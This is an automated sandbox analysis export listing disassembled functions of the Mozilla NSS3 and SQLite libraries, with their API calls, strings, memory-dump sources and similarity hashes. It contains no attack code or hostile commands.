Part of subcall function 6D01F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6D01F8A4
Part of subcall function 6D01F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6D01F8AB
Part of subcall function 6D01F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6D01F8C9
Part of subcall function 6D01F820: free.MOZGLUE(280F10EC,?,?), ref: 6D01F8D0

Strings

d, xrefs: 6D025C36
tokens=[0x%x=<%s>], xrefs: 6D025D3D

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: adf2803cd5d3d206bbb6f57755b3c63a1c83d11eb2158725384fe07d47def1d7
Instruction ID: eeba5ac7a729dbde6c30b98bfb05a7d142d2060107fd820b9843ae5237583e71
Opcode Fuzzy Hash: adf2803cd5d3d206bbb6f57755b3c63a1c83d11eb2158725384fe07d47def1d7
Instruction Fuzzy Hash: 6E7104B8E061029BFB159F24EC4973E32B9BF45318F154034ED099B24AFB72E911C796

Function 6D018F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6D019582), ref: 6D018F5B

Part of subcall function 6D02BE30: SECOID_FindOID_Util.NSS3(6CFE311B,00000000,?,6CFE311B,?), ref: 6D02BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6D018F6A

Part of subcall function 6D030FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFD87ED,00000800,6CFCEF74,00000000), ref: 6D031000
Part of subcall function 6D030FF0: PR_NewLock.NSS3(?,00000800,6CFCEF74,00000000), ref: 6D031016
Part of subcall function 6D030FF0: PL_InitArenaPool.NSS3(00000000,security,6CFD87ED,00000008,?,00000800,6CFCEF74,00000000), ref: 6D03102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6D018FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6D018FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6D0FD820,6D019576), ref: 6D018FF9
DER_GetInteger_Util.NSS3(?), ref: 6D01901D
PORT_ZAlloc_Util.NSS3(?), ref: 6D01903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6D019062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6D0190A2
PORT_ZAlloc_Util.NSS3(?), ref: 6D0190CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6D0190F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6D01912D
free.MOZGLUE(00000000), ref: 6D019136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6D019145

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 4b88fed66087cd49e2572701bd14d08b4c973c143ae4778cd85281fb11e2ff6f
Instruction ID: 3f041bc8b35272aac5549d42a38d8cce724d54314c25ae97ed90a14c8a205ae7
Opcode Fuzzy Hash: 4b88fed66087cd49e2572701bd14d08b4c973c143ae4778cd85281fb11e2ff6f
Instruction Fuzzy Hash: 3C51D1B5A0C2019BFB01CF69EC81BAAB7E4AF88314F054529ED58C7241E731EA45CB92

Function 6CFCAF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CFCAF47

Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D0990AB
Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D0990C9
Part of subcall function 6D099090: EnterCriticalSection.KERNEL32 ref: 6D0990E5
Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D099116
Part of subcall function 6D099090: LeaveCriticalSection.KERNEL32 ref: 6D09913F

FreeLibrary.KERNEL32(?), ref: 6CFCAF6D
free.MOZGLUE(?), ref: 6CFCAFA4
free.MOZGLUE(?), ref: 6CFCAFAA
PR_ExitMonitor.NSS3 ref: 6CFCAFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6CFCAFF5
PR_ExitMonitor.NSS3 ref: 6CFCB005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CFCB014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6CFCB028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CFCB03C

Strings

%s decr => %d, xrefs: 6CFCAFF0
Unloaded library %s, xrefs: 6CFCB023

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 7ef5ff441f1a33ede8b3b8d26a4cf79912740150d8dd5e8c5156e8096f2abbcb
Instruction ID: d6da601f7aec96dcb82a1ae3af393805f581f4063b58f5ad77656ae7f599ac27
Opcode Fuzzy Hash: 7ef5ff441f1a33ede8b3b8d26a4cf79912740150d8dd5e8c5156e8096f2abbcb
Instruction Fuzzy Hash: 9931D4B9B08112ABEB119FA5EC40B17B7B5AB45308B194125E81587601F772F864D7F3

Function 6D016C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6D01781D,00000000,6D00BE2C,?,6D016B1D,?,?,?,?,00000000,00000000,6D01781D), ref: 6D016C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6D01781D,?,6D00BE2C,?), ref: 6D016C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6D01781D), ref: 6D016C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6D016C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6D016C96

Part of subcall function 6CFC1240: TlsGetValue.KERNEL32(00000040,?,6CFC116C,NSPR_LOG_MODULES), ref: 6CFC1267
Part of subcall function 6CFC1240: EnterCriticalSection.KERNEL32(?,?,?,6CFC116C,NSPR_LOG_MODULES), ref: 6CFC127C
Part of subcall function 6CFC1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CFC116C,NSPR_LOG_MODULES), ref: 6CFC1291
Part of subcall function 6CFC1240: PR_Unlock.NSS3(?,?,?,?,6CFC116C,NSPR_LOG_MODULES), ref: 6CFC12A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6D016CAA

Strings

extern:, xrefs: 6D016C7E
sql:, xrefs: 6D016C52
dbm, xrefs: 6D016CA4
NSS_DEFAULT_DB_TYPE, xrefs: 6D016C91
dbm:, xrefs: 6D016C3A
rdb:, xrefs: 6D016C69

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: f199532e6f0e290179375ffbecf706cd3bf1aee4efb4a64fc81fda8492be8793
Instruction ID: 708c8d6fc6a7b56acb8fe7af0273e362bb0fb12813d2807a8b6d077dac9eff4e
Opcode Fuzzy Hash: f199532e6f0e290179375ffbecf706cd3bf1aee4efb4a64fc81fda8492be8793
Instruction Fuzzy Hash: 87018FB2B4931277FA1026A9AC4EF36359DAB411A8F040132FF04E1286FBD2E55480F6

Function 6D024E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6CFE78F8), ref: 6D024E6D

Part of subcall function 6CFC09E0: TlsGetValue.KERNEL32(00000000,?,?,?,6CFC06A2,00000000,?), ref: 6CFC09F8
Part of subcall function 6CFC09E0: malloc.MOZGLUE(0000001F), ref: 6CFC0A18
Part of subcall function 6CFC09E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6CFC0A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6CFE78F8), ref: 6D024ED9

Part of subcall function 6D015920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6D017703,?,00000000,00000000), ref: 6D015942
Part of subcall function 6D015920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6D017703), ref: 6D015954
Part of subcall function 6D015920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6D01596A
Part of subcall function 6D015920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6D015984
Part of subcall function 6D015920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6D015999
Part of subcall function 6D015920: free.MOZGLUE(00000000), ref: 6D0159BA
Part of subcall function 6D015920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6D0159D3
Part of subcall function 6D015920: free.MOZGLUE(00000000), ref: 6D0159F5
Part of subcall function 6D015920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6D015A0A
Part of subcall function 6D015920: free.MOZGLUE(00000000), ref: 6D015A2E
Part of subcall function 6D015920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6D015A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6CFE78F8), ref: 6D024EB3

Part of subcall function 6D024820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6D024EB8,?,?,?,?,?,?,?,?,?,?,6CFE78F8), ref: 6D02484C
Part of subcall function 6D024820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6D024EB8,?,?,?,?,?,?,?,?,?,?,6CFE78F8), ref: 6D02486D
Part of subcall function 6D024820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6D024EB8,?), ref: 6D024884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CFE78F8), ref: 6D024EC0

Part of subcall function 6D024470: TlsGetValue.KERNEL32(00000000,?,6CFE7296,00000000), ref: 6D024487
Part of subcall function 6D024470: EnterCriticalSection.KERNEL32(?,?,?,6CFE7296,00000000), ref: 6D0244A0
Part of subcall function 6D024470: PR_Unlock.NSS3(?,?,?,?,6CFE7296,00000000), ref: 6D0244BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CFE78F8), ref: 6D024F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CFE78F8), ref: 6D024F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CFE78F8), ref: 6D024F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CFE78F8), ref: 6D024F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CFE78F8), ref: 6D024F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CFE78F8), ref: 6D024F8F
PK11_UpdateSlotAttribute.NSS3(?,6D0FDCB0,00000000), ref: 6D024FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6D02501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6CFE78F8), ref: 6D02506B

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 842578fc580efac6d1d1c0499bbaf41a96218736d872bdfb47666c363f97aa5b
Instruction ID: 8c36e60291e0bfbf5b73e6f6e22ab008aed23114e4538b5a42bd6dba0ab199d9
Opcode Fuzzy Hash: 842578fc580efac6d1d1c0499bbaf41a96218736d872bdfb47666c363f97aa5b
Instruction Fuzzy Hash: 1551F1B9C05202ABFB21AF24EC45B6F76B5FF59318F060134ED0587216FB71E9618AD2

Function 6CFCACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFCACE2
malloc.MOZGLUE(00000001), ref: 6CFCACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CFCAD02
TlsGetValue.KERNEL32 ref: 6CFCAD3C
calloc.MOZGLUE(00000001,?), ref: 6CFCAD8C
PR_Unlock.NSS3 ref: 6CFCADC0
free.MOZGLUE(00000000), ref: 6CFCAE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CFCAE58
free.MOZGLUE(00000000), ref: 6CFCAE69
free.MOZGLUE(?), ref: 6CFCAE78
PR_Unlock.NSS3 ref: 6CFCAE8C
free.MOZGLUE(?), ref: 6CFCAEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CFCAEC7

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 0c97c1491554afc2600f9fbebda714c0d64fbbc44fc216dd1ab10ab7255b42e4
Instruction ID: d8a685c2642f63739baae187301cda6cf17403e58737453a2c0f5622e7443c6e
Opcode Fuzzy Hash: 0c97c1491554afc2600f9fbebda714c0d64fbbc44fc216dd1ab10ab7255b42e4
Instruction Fuzzy Hash: 6951ADB5F012169BDB10CFA9EC417AF77B4AB06309F150125D904A7A10E3B1B9A5CBE2

Function 6D00ADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6D00ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6D00AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6D00AE29

Part of subcall function 6D0ED930: PL_strncpyz.NSS3(?,?,?), ref: 6D0ED963

PR_LogPrint.NSS3(?,00000000), ref: 6D00AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6D00AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6D00AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6D00AEA0

Strings

hSession = 0x%x, xrefs: 6D00AE01, 6D00AE11
hKey = 0x%x, xrefs: 6D00AE62, 6D00AE72
(CK_INVALID_HANDLE), xrefs: 6D00AE1F, 6D00AE80
C_MessageSignInit, xrefs: 6D00ADE1

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: 16add5394d2acb1c089e1842d69e2b7ef9f41ec3af8df4e1d89495e243b515e4
Instruction ID: 5d3c7428d036fff715a35424c23fea2d17c0bcb746477131ede34bb6c2ba3c43
Opcode Fuzzy Hash: 16add5394d2acb1c089e1842d69e2b7ef9f41ec3af8df4e1d89495e243b515e4
Instruction Fuzzy Hash: D6311875504204BFFB10EF54EC88F7F37B5AB85308F564028FA096B242DBB49945CB92

Function 6D009EE0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6D009F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6D009F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6D009F49

Part of subcall function 6D0ED930: PL_strncpyz.NSS3(?,?,?), ref: 6D0ED963

PR_LogPrint.NSS3(?,00000000), ref: 6D009F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6D009F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6D009FAA
PR_LogPrint.NSS3(?,00000000), ref: 6D009FC0

Strings

hSession = 0x%x, xrefs: 6D009F21, 6D009F31
hKey = 0x%x, xrefs: 6D009F82, 6D009F92
C_MessageEncryptInit, xrefs: 6D009F01
(CK_INVALID_HANDLE), xrefs: 6D009F3F, 6D009FA0

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit
API String ID: 332880674-1139731676
Opcode ID: a3dbf1c485d760360b7abe63f636eace34d65508cb76260eee8b0c0585b45c7c
Instruction ID: ab09b63ea3e558cee933c85bcbb25fb83ead3d6e25681942ac4f3cac33f40c95
Opcode Fuzzy Hash: a3dbf1c485d760360b7abe63f636eace34d65508cb76260eee8b0c0585b45c7c
Instruction Fuzzy Hash: F431FA75504204BFFB10DF55FD84F7E37B5AB85358F0A4028F9086B242DBB49945CB91

Function 6D0A4C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6D0A4CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6D0A4CFD
sqlite3_value_text16.NSS3(?), ref: 6D0A4D44

Strings

API call with %s database connection pointer, xrefs: 6D0A4CF6
abort due to ROLLBACK, xrefs: 6D0A4D27, 6D0A4D33
unknown error, xrefs: 6D0A4D56
another row available, xrefs: 6D0A4D20
invalid, xrefs: 6D0A4CF1
bad parameter or other API misuse, xrefs: 6D0A4D05
no more rows available, xrefs: 6D0A4D2E
out of memory, xrefs: 6D0A4C78, 6D0A4C9E

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: d7e4005044902abb5519a1ac847c72d58e4c3098077615b04b12833c15fe9e17
Instruction ID: 72132fa1a9d160bf12956d326c062ad97c8ad09e05835e9ac345e3da4757834e
Opcode Fuzzy Hash: d7e4005044902abb5519a1ac847c72d58e4c3098077615b04b12833c15fe9e17
Instruction Fuzzy Hash: 6B312579E44912B7F7494AA4A8007F973A6778E310F4E4135D82C5B25BCFA1F85283E3

Function 6D002DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6D002DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6D002E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6D002E33

Part of subcall function 6D0ED930: PL_strncpyz.NSS3(?,?,?), ref: 6D0ED963

PR_LogPrint.NSS3(?,00000000), ref: 6D002E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6D002E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6D002E81

Strings

hSession = 0x%x, xrefs: 6D002E0E, 6D002E1E
pPin = 0x%p, xrefs: 6D002E63
ulPinLen = %d, xrefs: 6D002E7C
C_InitPIN, xrefs: 6D002DF1
(CK_INVALID_HANDLE), xrefs: 6D002E2C

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: c48fe03cd5695757ffa57fd31d719aa5c4848062b88a6e75b504d581b98ffe59
Instruction ID: 28b9f42d08a4b78b011a48494cbfe833b7ec6894757229b4e4f237b34280fa02
Opcode Fuzzy Hash: c48fe03cd5695757ffa57fd31d719aa5c4848062b88a6e75b504d581b98ffe59
Instruction Fuzzy Hash: D8312879904154BFFB309F65ED48B5B3BB5EB42318F464024EA0CA7252DBB09945CBE2

Function 6D007F30 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyFinal), ref: 6D007F56
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6D007F84
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6D007F93

Part of subcall function 6D0ED930: PL_strncpyz.NSS3(?,?,?), ref: 6D0ED963

PR_LogPrint.NSS3(?,00000000), ref: 6D007FA9
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6D007FC8
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6D007FE1

Strings

hSession = 0x%x, xrefs: 6D007F6E, 6D007F7E
C_VerifyFinal, xrefs: 6D007F51
pSignature = 0x%p, xrefs: 6D007FC3
ulSignatureLen = %d, xrefs: 6D007FDC
(CK_INVALID_HANDLE), xrefs: 6D007F8C

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
